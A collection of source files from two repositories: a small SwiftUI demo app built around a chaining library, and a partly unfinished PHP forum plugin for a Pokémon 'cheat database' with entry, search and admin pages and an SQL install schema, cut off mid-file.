<p align="center">
<img src="ezgif-2-27c495c3acd0.gif" />
</p>
```
|
0xLeif/ChainDemo
|
0xLeif/ChainDemo
ChainDemoApp.swift
```//
// ChainDemoApp.swift
// Shared
//
// Created by Zach Eriksen on 1/12/21.
//
import SwiftUI
@main
struct ChainDemoApp: App {
var body: some Scene {
WindowGroup {
ContentView()
}
}
}
```
ContentView.swift
```//
// ContentView.swift
// Shared
//
// Created by Zach Eriksen on 1/12/21.
//
import SwiftUI
import Chain
import SURL
struct ContentView: View {
@State private var text = "Hello, world!"
var body: some View {
Text(text)
.padding()
.onAppear {
Chain
.link(reportScreenView,
.link(setLoadingState,
.background(fetchData,
.end)
)
)
.run()
}
}
func reportScreenView() {
reportAnalytic(screenNamed: "Home")
}
func setLoadingState() {
update(text: "Loading...")
}
func fetchData() {
"https://raw.githubusercontent.com/0xLeif/0xLeif/master/README.md"
.url?
.get { (data, response, error) in
Chain.link({
update(text: String(data: data!, encoding: .utf8) ?? "😬")
},
.complete {
reportAnalytic(event: "home_data_loaded")
})
.run()
}
}
func update(text value: String) {
text = value
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}
/// MARK: Mock Functions
func reportAnalytic(event: String) { }
func reportAnalytic(screenNamed: String) { }
```
|
0xLeon/com.leon.pokemon.cheatdatabase.core
|
0xLeon/com.leon.pokemon.cheatdatabase.core
CheatDatabaseEntryDeleteAction.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/action/AbstractSecureAction.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryEditor.class.php');
/**
* Deletes a cheat database entry.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage action
* @category Cheat Database
*/
class CheatDatabaseEntryDeleteAction extends AbstractSecureAction {
/**
* entry id
*
* @var integer
*/
public $entryID = 0;
/**
* entry editor object
*
* @var EntryEditor
*/
public $entry = null;
/**
* @see Action::readParameters()
*/
public function readParameters() {
parent::readParameters();
if (isset($_REQUEST['entryID'])) $this->entryID = intval($_REQUEST['entryID']);
$this->entry = new EntryEditor($this->entryID);
if (!MODULE_CHEAT_DATABASE || !$this->entry->entryID) {
throw new IllegalLinkException();
}
}
/**
* @see Action::execute()
*/
public function execute() {
parent::execute();
WCF::getUser()->checkPermission('mod.cheatDatabase.canDeleteEntry');
$this->entry->delete();
$this->executed();
HeaderUtil::redirect('index.php?page=CheatDatabaseEntryList&deletedEntryID='.$this->entryID.SID_ARG_2ND_NOT_ENCODED);
exit;
}
}
```
EntryEditor.class.php
```<?php
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/Entry.class.php');
/**
* EntryEditor creates, dedits or deletes cheat database entries.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntryEditor extends Entry {
/**
* Creates a new entry
*
* @return Entry
*/
public static function create() {
$sql = "";
WCF::getDB()->sendQuery($sql);
return new EntryEditor(WCF::getDB()->getInsertID());
}
/**
* Deletes this entry.
*
* @return boolean
*/
public function delete() {
$sql = "DELETE
FROM wcf".WCF_N."_cheat_database_entry
WHERE entryID = ".$this->entryID;
WCF::getDB()->sendQuery($sql);
$sql = "DELETE
FROM wcf".WCF_N."_cheat_database_ribbon_to_entry
WHERE entryID = ".$this->entryID;
WCF::getDB()->sendQuery($sql);
$sql = "DELETE
FROM wcf".WCF_N."_cheat_database_entry_message
WHERE entryID = ".$this->entryID;
WCF::getDB()->sendQuery($sql);
return true;
}
}
```
CheatDatabaseSuggestPage.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/page/AbstractPage.class.php');
/**
* Outputs an XML document with a list of suggestions of given type.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage page
* @category Cheat Database
*/
class CheatDatabaseSuggestPage extends AbstractPage {
public $neededPermissions = 'user.cheatDatabase.canUseCheatDatabase';
public $query = '';
public $type = 'pokemon';
public $languageID = 0;
/**
* @see Page::readParameters()
*/
public function readParameters() {
parent::readParameters();
if (isset($_REQUEST['query'])) $this->query = StringUtil::trim($_REQUEST['query']);
if (isset($_REQUEST['type'])) $this->type = StringUtil::trim($_REQUEST['type']);
if (CHARSET != 'UTF-8') {
$this->query = StringUtil::convertEncoding('UTF-8', CHARSET, $this->query);
$this->type = StringUtil::convertEncoding('UTF-8', CHARSET, $this->type);
}
}
/**
* @see Page::readData()
*/
public function readData() {
if (count(Language::getAvailableContentLanguages(PACKAGE_ID)) > 0) {
$this->languageID = WCF::getLanguage()->getLanguageID();
}
}
/**
* @see Page::show()
*/
public function show() {
if (!MODULE_CHEAT_DATABASE) {
exit;
}
try {
parent::show();
}
catch (Exception $e) {
exit;
}
header('Content-type: text/xml');
echo "<?xml version=\"1.0\" encoding=\"".CHARSET."\"?>\n<suggestions>\n";
if (!empty($this->query)) {
$sql = "SELECT DISTINCT languageItem, languageItemValue
FROM wcf".WCF_N."_language_item
WHERE ".($this->languageID ? "languageID = ".$this->languageID." AND" : '')."
languageItem LIKE 'wcf.cheatDatabase.entry.".escapeString($this->type)."%' AND
languageItemValue LIKE '".escapeString($this->query)."%'
ORDER BY languageItemValue";
$result = WCF::getDB()->sendQuery($sql, 10);
while ($row = WCF::getDB()->fetchArray($result)) {
echo "\t<suggestion>\n\t\t<languageItem><![CDATA[".StringUtil::escapeCDATA($row['languageItem'])."]]></languageItem>\n\t\t<value><![CDATA[".StringUtil::escapeCDATA($row['languageItemValue'])."]]></value>\n\t</suggestion>\n";
}
}
echo '</suggestions>';
exit;
}
}
```
EntryRibbon.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/data/DatabaseObject.class.php');
/**
* Represents a ribbon of a cheat database entry.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntryRibbon extends DatabaseObject {
/**
* Creates a new EntryRibbon object.
*
* @param integer $entryID
* @param integer $ribbonID
* @param array $row
*/
public function __construct($entryID, $ribbonID, $row = null) {
if ($entryID !== null && $ribbonID !== null) {
$sql = "SELECT ribbon.*,
languageRibbonName.languageItemValue AS ribbonName
FROM wcf".WCF_N."_cheat_database_ribbon_to_entry ribbon
LEFT JOIN wcf".WCF_N."_language_item languageRibbonName
ON (languageRibbonName.languageItem = CONCAT('wcf.cheatDatabase.entry.ribbon.', ribbon.ribbonID))
AND (languageRibbonName.languageID = ".WCF::getUser()->languageID.")
WHERE ribbon.entryID = ".$entryID."
AND ribbon.ribbonID = ".$ribbonID;
$row = WCF::getDB()->getFirstRow($sql);
}
parent::__construct($row);
}
/**
* Returns the name of this recipient.
*
* @return string
*/
public function __toString() {
return $this->ribbonName;
}
public function getIconPath() {
return RELATIVE_WCF_DIR.'images/pokemon/ribbons/'.$this->ribbonID.'.png';
}
public static function getAllRibbons() {
// todo: cache?
$ribbons = array();
$sql = "SELECT language.languageItemValue AS ribbonName,
language.languageItem AS ribbonID
FROM wcf".WCF_N."_language_item language
WHERE language.languageItem LIKE 'wcf.cheatDatabase.entry.ribbon.%'";
$result = WCF::getDB()->sendQuery($sql);
while ($row = WCF::getDB()->fetchArray($result)) {
if (preg_match('/\\d+$/', $row['ribbonID'], $matches)) {
$row['ribbonID'] = intval($matches[0]);
$row['entryID'] = 0;
$ribbons[] = new EntryRibbon(null, null, $row);
}
}
DatabaseObject::sort($ribbons, 'ribbonID');
return $ribbons;
}
}
```
EntrySearchResult.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/data/message/util/SearchResultTextParser.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/Entry.class.php');
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/message/EntryMessage.class.php');
/**
* This class extends the entry by function for a search result output.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntrySearchResult extends Entry {
/**
* @see DatabaseObject::handleData()
*/
protected function handleData($data) {
$data['messagePreview'] = true;
parent::handleData($data);
}
/**
* @see EntryMessage::getFormattedMessage()
*/
public function getFormattedMessage() {
return SearchResultTextParser::parse($this->message->getFormattedMessage());
}
}
```
CheatDatabaseEntryAddForm.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/form/MessageForm.class.php');
require_once(WCF_DIR.'lib/page/util/InlineCalendar.class.php');
require_once(WCF_DIR.'lib/page/util/menu/PageMenu.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryRibbon.class.php');
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryEditor.class.php');
/**
* Shows the cheat database entry add form.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage form
* @category Cheat Database
*/
class CheatDatabaseEntryAddForm extends MessageForm {
public $maxTextLength = 10000; // todo: via group option
public $showPoll = false;
public $showAttachments = false;
public $showSignatureSetting = false;
/**
* @see AbstractPage::$action
*/
public $action = 'add';
/**
* @see AbstractPage::$templateName
*/
public $templateName = 'cheatDatabaseEntryAdd';
/**
* @see AbstractPage::$neededPermissions
*/
public $neededPermissions = 'mod.cheatDatabase.canAddEntry';
/**
* Form buttons for preview mode and send mode
*
* @var boolean
*/
public $preview, $send;
/**
* Current entry object
*
* @var EntryEditor
*/
public $entry = null;
/**
* current entry id
*
* @var integer
*/
public $entryID = 0;
/**
* Name of user
*
* @var string
*/
public $username = '';
/**
* Pokedex number
*
* @var integer
*/
public $pokedexNumber = 0;
/**
* Pokemon nickname
*
* @var string
*/
public $nickname = '';
/**
* Pokemon gender
*
* @var integer
*/
public $gender = 0;
/**
* Pokemon original trainer name
*
* @var string
*/
public $trainerName = '';
/**
* Pokemon original trainer id
*
* @var integer
*/
public $trainerID = 0;
/**
* Pokemon level
*
* @var integer
*/
public $level = 0;
/**
* Pokemon catch location
*
* @var string
*/
public $catchLocation = '';
/**
* Pokemon catch date
*
* @var integer
*/
public $catchDate = 0;
/**
* Pokemon catch level
*
* @var integer
*/
public $catchLevel = 0;
/**
* Pokemon nature
*
* @var integer
*/
public $nature = 0;
/**
* Pokemon characteristic
*
* @var integer
*/
public $characteristic = 0;
/**
* Pokemon shiny status
*
* @var boolean
*/
public $isShiny = false;
/**
* Pokemon ball
*
* @var integer
*/
public $ball = 0;
/**
* Ribbons
*
* @var array<integer>
*/
public $ribbonIDs = array();
/**
* @see Form::readFormParameters()
*/
public function readFormParameters() {
parent::readFormParameters();
if (isset($_POST['username'])) $this->username = StringUtil::trim($_POST['username']);
if (isset($_POST['preview'])) $this->preview = (boolean)intval($_POST['preview']);
if (isset($_POST['send'])) $this->send = (boolean)intval($_POST['send']);
if (isset($_POST['pokedexNumber'])) $this->pokedexNumber = intval($_POST['pokedexNumber']);
if (isset($_POST['nickname'])) $this->nickname = StringUtil::trim($_POST['nickname']);
if (isset($_POST['gender'])) $this->gender = intval($_POST['gender']);
if (isset($_POST['trainerName'])) $this->trainerName = StringUtil::trim($_POST['trainerName']);
if (isset($_POST['trainerID'])) $this->trainerID = intval($_POST['trainerID']);
if (isset($_POST['level'])) $this->level = intval($_POST['level']);
if (isset($_POST['catchLocation'])) $this->catchLocation = StringUtil::trim($_POST['catchLocation']);
if (isset($_POST['catchDate'])) $this->catchDate = intval($_POST['catchDate']);
if (isset($_POST['catchLevel'])) $this->catchLevel = intval($_POST['catchLevel']);
if (isset($_POST['nature'])) $this->nature = intval($_POST['nature']);
if (isset($_POST['characteristic'])) $this->characteristic = intval($_POST['characteristic']);
if (isset($_POST['isShiny'])) $this->isShiny = (boolean)intval($_POST['isShiny']);
if (isset($_POST['ball'])) $this->ball = intval($_POST['ball']);
if (isset($_POST['ribbonIDs']) && is_array($_POST['ribbonIDs'])) $this->ribbonIDs = ArrayUtil::toIntegerArray($_POST['ribbonIDs']);
}
/**
* @see Form::submit()
*/
public function submit() {
EventHandler::fireAction($this, 'submit');
$this->readFormParameters();
try {
if ($this->preview) {
//WCF::getTPL()->assign('preview', EventEditor::createPreview());
}
if ($this->send) {
$this->validate();
$this->save();
}
} catch (UserInputException $e) {
$this->errorField = $e->getField();
$this->errorType = $e->getType();
}
}
/**
* @see Page::readData()
*/
public function readData() {
parent::readData();
if (!count($_POST) && ($this->entryID == 0)) {
$this->username = WCF::getSession()->username;
}
}
/**
* @see Form::save()
*/
public function save() {
parent::save();
//$this->entry = EntryEditor::create();
$this->saved();
HeaderUtil::redirect('index.php?page=CheatDatabaseEntry&entryID='.$this->entry->entryID.SID_ARG_2ND_NOT_ENCODED);
exit;
}
/**
* @see Page::assignVariables()
*/
public function assignVariables() {
parent::assignVariables();
InlineCalendar::assignVariables();
WCF::getTPL()->assign(array(
'showEntryForm' => true,
'entryID' => $this->entryID,
'username' => $this->username,
'pokedexNumber' => $this->pokedexNumber,
'nickname' => $this->nickname,
'gender' => $this->gender,
'trainerName' => $this->trainerName,
'trainerID' => $this->trainerID,
'level' => $this->level,
'catchLocation' => $this->catchLocation,
'catchDate' => $this->catchDate,
'catchLevel' => $this->catchLevel,
'nature' => $this->nature,
'characteristic' => $this->characteristic,
'isShiny' => $this->isShiny,
'ball' => $this->ball,
'ribbonIDs' => $this->ribbonIDs,
'ribbons' => EntryRibbon::getAllRibbons()
));
}
/**
* @see Page::show()
*/
public function show() {
if (!MODULE_CHEAT_DATABASE) {
throw new IllegalLinkException();
}
PageMenu::setActiveMenuItem('wcf.header.menu.cheatDatabase');
$this->messageTable = "wcf".WCF_N."_cheat_database_entry_message";
parent::show();
}
/**
* @see MessageForm::validateText()
*/
protected function validateText() {
try {
parent::validateText();
}
catch (UserInputException $e) {
if ($e->getType() !== 'empty') throw $e;
}
}
/**
* Validates the username
*/
protected function validateUsername() {
if (!WCF::getUser()->userID) {
if (empty($this->username)) {
throw new UserInputException('username');
}
if (!UserUtil::isValidUsername($this->username)) {
throw new UserInputException('username', 'notValid');
}
if (!UserUtil::isAvailableUsername($this->username)) {
throw new UserInputException('username', 'notAvailable');
}
WCF::getSession()->setUsername($this->username);
}
else {
$this->username = WCF::getUser()->username;
}
}
}
```
CheatDatabaseEntryListPage.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/page/SortablePage.class.php');
require_once(WCF_DIR.'lib/page/util/menu/PageMenu.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryList.class.php');
/**
* Shows a list of all cheat database entries.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage page
* @category Cheat Database
*/
class CheatDatabaseEntryListPage extends SortablePage {
public $templateName = 'cheatDatabaseEntryList';
public $neededPermissions = 'user.cheatDatabase.canUseCheatDatabase';
public $defaultSortField = 'entry.pokedexNumber';
public $defaultSortOrder = 'ASC';
public $deletedEntryID = 0;
/**
* Entry list object
*
* @var EntryList
*/
public $entryList = null;
/**
* @see Page::readParameters()
*/
public function readParameters() {
parent::readParameters();
if (isset($_REQUEST['deletedEntryID'])) $this->deletedEntryID = intval($_REQUEST['deletedEntryID']);
$this->entryList = new EntryList();
}
/**
* @see Page::readData()
*/
public function readData() {
parent::readData();
$this->entryList->sqlOffset = ($this->pageNo - 1) * $this->itemsPerPage;
$this->entryList->sqlLimit = $this->itemsPerPage;
$this->entryList->sqlOrderBy = $this->sortField." ".$this->sortOrder;
$this->entryList->readObjects();
}
/**
* @see SortablePage::validateSortField()
*/
public function validateSortField() {
parent::validateSortField();
switch ($this->sortField) {
case 'pokemon':
$this->sortField = 'pokemonName';
break;
case 'name':
$this->sortField = 'message.subject';
break;
case 'entryID':
case 'nickname':
case 'trainerName':
case 'trainerID':
case 'level':
case 'pokedexNumber':
$this->sortField = 'entry.'.$this->sortField;
break;
default:
$this->sortField = $this->defaultSortField;
}
}
/**
* @see MultipleLinkPage::countItems()
*/
public function countItems() {
parent::countItems();
return $this->entryList->countObjects();
}
/**
* @see Page::assignVariables()
*/
public function assignVariables() {
parent::assignVariables();
WCF::getTPL()->assign(array(
'entries' => $this->entryList->getObjects(),
'deletedEntryID' => $this->deletedEntryID
));
}
/**
* @see Page::show()
*/
public function show() {
if (!MODULE_CHEAT_DATABASE) {
throw new IllegalLinkException();
}
PageMenu::setActiveMenuItem('wcf.header.menu.cheatDatabase');
parent::show();
}
}
```
Entry.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/data/DatabaseObject.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryRibbon.class.php');
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/message/EntryMessage.class.php');
/**
* Represents a cheat database entry.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class Entry extends DatabaseObject {
/**
* List of all ribbons of this entry.
*
* @var array<EntryRibbon>
*/
protected $ribbons = null;
/**
* Message object of the associated entry message.
*
* @var EntryMessage
*/
public $message = null;
/**
* Creates a new Entry object.
*
* @param integer $entryID
* @param array $row
* @param integer $messageID
*/
public function __construct($entryID, $row = null, $messageID = null) {
if (($entryID !== null) || ($messageID !== null && $messageID !== 0)) {
$sql = "SELECT entry.*,
languagePokemonName.languageItemValue AS pokemonName,
languageBallName.languageItemValue AS ballName,
message.*
FROM wcf".WCF_N."_cheat_database_entry entry
LEFT JOIN wcf".WCF_N."_language_item languagePokemonName
ON (languagePokemonName.languageItem = CONCAT('wcf.cheatDatabase.entry.pokemon.', entry.pokedexNumber, '.', entry.form))
AND (languagePokemonName.languageID = ".WCF::getUser()->languageID.")
LEFT JOIN wcf".WCF_N."_language_item languageBallName
ON (languageBallName.languageItem = CONCAT('wcf.cheatDatabase.entry.ball.', entry.ball))
AND (languageBallName.languageID = ".WCF::getUser()->languageID.")
LEFT JOIN wcf" . WCF_N . "_cheat_database_entry_message message
ON (entry.messageID = message.messageID)
WHERE ".(($messageID !== null && $messageID !== 0) ? ("entry.messageID = ".$messageID) : ("entry.entryID = ".$entryID));
$row = WCF::getDB()->getFirstRow($sql);
}
parent::__construct($row);
}
/**
* @see DatabaseObject::handleData()
*/
protected function handleData($data) {
parent::handleData($data);
$this->message = new EntryMessage(null, $data);
}
public function getUser() {
return $this->message->getUser();
}
public function getDescription() {
return $this->message->getFormattedMessage();
}
public function getSpritePath() {
return RELATIVE_WCF_DIR.'images/pokemon/sprites/'.(($this->isShiny == 1) ? 'shiny' : 'normal').'/'.sprintf('%03d', $this->pokedexNumber).(($this->form > 0) ? '.'.sprintf('%d', $this->form) : '').'.png';
}
public function getIconPath() {
return RELATIVE_WCF_DIR.'images/pokemon/icons/'.(($this->isShiny == 1) ? 'shiny' : 'normal').'/'.sprintf('%03d', $this->pokedexNumber).(($this->form > 0) ? '.'.sprintf('%d', $this->form) : '').'.png';
}
public function getBallIconPath() {
return RELATIVE_WCF_DIR.'images/pokemon/balls/'.$this->ball.'.png';
}
/**
* Returns the list of ribbons.
*
* @return array<EntryRibbon>
*/
public function getRibbons() {
if ($this->ribbons === null) {
$this->ribbons = array();
$sql = "SELECT ribbon.*,
languageRibbonName.languageItemValue AS ribbonName
FROM wcf".WCF_N."_cheat_database_ribbon_to_entry ribbon
LEFT JOIN wcf".WCF_N."_language_item languageRibbonName
ON (languageRibbonName.languageItem = CONCAT('wcf.cheatDatabase.entry.ribbon.', ribbon.ribbonID))
AND (languageRibbonName.languageID = ".WCF::getUser()->languageID.")
WHERE ribbon.entryID = ".$this->entryID."
ORDER BY ribbon.ribbonID";
$result = WCF::getDB()->sendQuery($sql);
while ($row = WCF::getDB()->fetchArray($result)) {
$this->ribbons[] = new EntryRibbon(null, null, $row);
}
}
return $this->ribbons;
}
/**
* Returns the list of all the ribbon's IDs
*
* @return array<integer>
*/
public function getRibbonIDs() {
$ribbonIDs = array();
if ($this->ribbons === null) {
$this->getRibbons();
}
if (count($this->ribbons)) {
foreach ($this->ribbons as $ribbon) {
$ribbonIDs[] = $ribbon->ribbonID;
}
}
return $ribbonIDs;
}
/**
* Sets a ribbon.
*
* @param EntryRibbon $ribbon
*/
public function setRibbon(EntryRibbon $ribbon) {
if ($this->ribbons === null) {
$this->ribbons = array();
}
$this->ribbons[] = $ribbon;
}
/**
* Sets the ribbons.
*
* @param array<EntryRibbon> $ribbons
*/
public function setRibbons($ribbons) {
$this->ribbons = $ribbons;
}
/**
* Get editor object of this entry
*
* @return EntryEditor
*/
public function getEditor() {
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryEditor.class.php');
return new EntryEditor(null, $this->data);
}
}
```
install.sql
```DROP TABLE IF EXISTS wcf1_cheat_database_entry;
CREATE TABLE wcf1_cheat_database_entry (
entryID INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
messageID INT(10) UNSIGNED NOT NULL DEFAULT 0,
pokedexNumber INT(5) UNSIGNED NOT NULL,
form TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
nickname VARCHAR(255) NOT NULL DEFAULT '',
gender TINYINT(1) UNSIGNED NOT NULL DEFAULT 0,
trainerName VARCHAR(255) NOT NULL DEFAULT '',
trainerID INT(5) UNSIGNED NOT NULL DEFAULT 0,
level TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
catchLocation VARCHAR(255) NOT NULL DEFAULT '',
catchDate INT(10) NOT NULL DEFAULT 0,
catchLevel TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
nature TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
characteristic TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
isShiny TINYINT(1) NOT NULL DEFAULT 0,
ball TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
PRIMARY KEY (entryID),
FULLTEXT KEY (nickname, trainerName)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS wcf1_cheat_database_ribbon_to_entry;
CREATE TABLE wcf1_cheat_database_ribbon_to_entry (
entryID INT(10) UNSIGNED NOT NULL DEFAULT 0,
ribbonID TINYINT(3) UNSIGNED NOT NULL DEFAULT 0,
PRIMARY KEY (entryID, ribbonID)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS wcf1_cheat_database_entry_message;
CREATE TABLE wcf1_cheat_database_entry_message (
messageID INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
entryID INT(10) UNSIGNED NOT NULL DEFAULT 0,
userID INT(10) UNSIGNED NOT NULL DEFAULT 0,
username VARCHAR(255) NOT NULL DEFAULT '',
subject VARCHAR(255) NOT NULL DEFAULT '',
message MEDIUMTEXT,
time INT(10) NOT NULL DEFAULT 0,
ipAddress VARCHAR(15) NOT NULL DEFAULT '',
enableSmilies TINYINT(1) NOT NULL DEFAULT 1,
enableHtml TINYINT(1) NOT NULL DEFAULT 0,
enableBBCodes TINYINT(1) NOT NULL DEFAULT 1,
PRIMARY KEY (messageID),
FULLTEXT KEY (subject, message)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
```
EntrySearch.class.php
```<?php
//wcf imports
require_once(WCF_DIR.'lib/data/message/search/AbstractSearchableMessageType.class.php');
//cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntrySearchResult.class.php');
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntrySearchResultList.class.php');
/**
* An implementation of SearchableMessageType for searching cheat database entries.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntrySearch extends AbstractSearchableMessageType {
/**
* Cache of messages
*
* @var array<array>
*/
protected $messageCache = array();
// form parameters
protected $pokedexNumber = 0;
protected $nickname = '';
protected $gender = 0;
protected $trainerName = '';
protected $trainerID = 0;
protected $level = 0;
protected $catchLocation = '';
protected $catchlevel = '';
protected $nature = 0;
protected $characteristic = 0;
protected $isShiny = null;
protected $ball = 0;
protected $ribbonIDs = array();
/**
* @see SearchableMessageType::cacheMessageData()
*/
public function cacheMessageData($messageIDs, $additionalData = null) {
$entrySearchResultList = new EntrySearchResultList();
$entrySearchResultList->sqlLimit = 0;
$entrySearchResultList->sqlConditions = "entry.entryID IN (".$messageIDs.")";
$entrySearchResultList->readObjects();
$entrySearchResultObjects = $entrySearchResultList->getObjects();
foreach ($entrySearchResultObjects as $entrySearchResult) {
$this->messageCache[$entrySearchResult->entryID] = array(
'type' => 'entry',
'message' => clone $entrySearchResult
);
}
}
/**
* @see SearchableMessageType::getMessageData()
*/
public function getMessageData($messageID, $additionalData = null) {
if (isset($this->messageCache[$messageID])) return $this->messageCache[$messageID];
return null;
}
/**
* @see SearchableMessageType::getConditions()
*/
public function getConditions($form = null) {
// todo: build conditions
}
/**
* @see SearchableMessageType::getJoins()
*/
public function getJoins() {
return ", wcf".WCF_N."_cheat_database_entry cheatDatabase_entry";
}
/**
* @see SearchableMessageType::getTableName()
*/
public function getTableName() {
return "wcf".WCF_N."_cheat_database_entry_message";
}
/**
* @see SearchableMessageType::getIDFieldName();
*/
public function getIDFieldName() {
return 'entryID';
}
/**
* @see SearchableMessageType::isAccessible()
*/
public function isAccessible() {
return (MODULE_CHEAT_DATABASE && WCF::getUser()->getPermission('user.cheatDatabase.canUseCheatDatabase'));
}
/**
* @see SearchableMessageType::getFormTemplateName()
*/
public function getFormTemplateName() {
return 'searchEntry';
}
/**
* @see SearchableMessageType::getResultTemplateName()
*/
public function getResultTemplateName() {
return 'searchResultEntry';
}
/**
* @see SearchableMessageType::show()
*/
public function show($form = null) {
if ($form !== null && isset($form->searchData['additionalData']['entry'])) {
// todo: get existing values
}
// todo: assign data
WCF::getTPL()->assign(array());
}
protected function getSearchData($form = null) {
// $searchData = array();
// get existing values
if ($form !== null && isset($form->searchData['additionalData']['entry'])) {
}
}
}
```
EntrySearchResultList.class.php
```<?php
// cheat databse imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntryList.class.php');
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/EntrySearchResult.class.php');
/**
* Represents a search result list of cheat database entries.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntrySearchResultList extends EntryList {
/**
* @see EntryList::$objectClassName
*/
public $objectClassName = 'EntrySearchResult';
}
```
EntryMessage.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/data/message/Message.class.php');
require_once(WCF_DIR.'lib/data/message/bbcode/MessageParser.class.php');
require_once(WCF_DIR.'lib/data/message/sidebar/MessageSidebarObject.class.php');
require_once(WCF_DIR.'lib/data/user/UserProfile.class.php');
/**
* Represents an entry message in the cheat database.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry.message
* @category Cheat Database
*/
class EntryMessage extends Message implements MessageSidebarObject {
/**
* Creates a new entry message object.
*
* @param integer $messageID
* @param array $row
*/
public function __construct($messageID, $row = null) {
if ($messageID !== null) {
$sql = "SELECT message.*
FROM wcf".WCF_N."_cheat_database_entry_message message
WHERE message.messageID = ".$messageID;
$row = WCF::getDB()->getFirstRow($sql);
}
parent::__construct($row);
$this->messageID = $row['messageID'];
}
/**
* @see DatabaseObject::handleData()
*/
protected function handleData($data) {
parent::handleData($data);
$this->user = new UserProfile($this->userID);
}
/**
* Returns the text of this message.
*
* @return string
*/
public function getFormattedMessage() {
// parse message
$parser = MessageParser::getInstance();
$parser->setOutputType('text/html');
return $parser->parse($this->message, $this->enableSmilies, $this->enableHtml, $this->enableBBCodes, !$this->messagePreview);
}
/**
* Returns the user object of this message.
*
* @return UserProfile
*/
public function getUser() {
return $this->user;
}
/**
* Get editor object of this message
*
* @return EntryMessageEditor
*/
public function getEditor() {
require_once (WCF_DIR.'lib/data/cheatDatabase/entry/message/EntryMessageEditor.class.php');
return new EntryMessageEditor(null, $this->data);
}
/**
* @see MessageSidebarObject::getMessageID()
*/
public function getMessageID() {
return $this->messageID;
}
/**
* @see MessageSidebarObject::getMessageType()
*/
public function getMessageType() {
return 'entryMessage';
}
}
```
EntryList.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/data/DatabaseObjectList.class.php');
// cheat databse imports
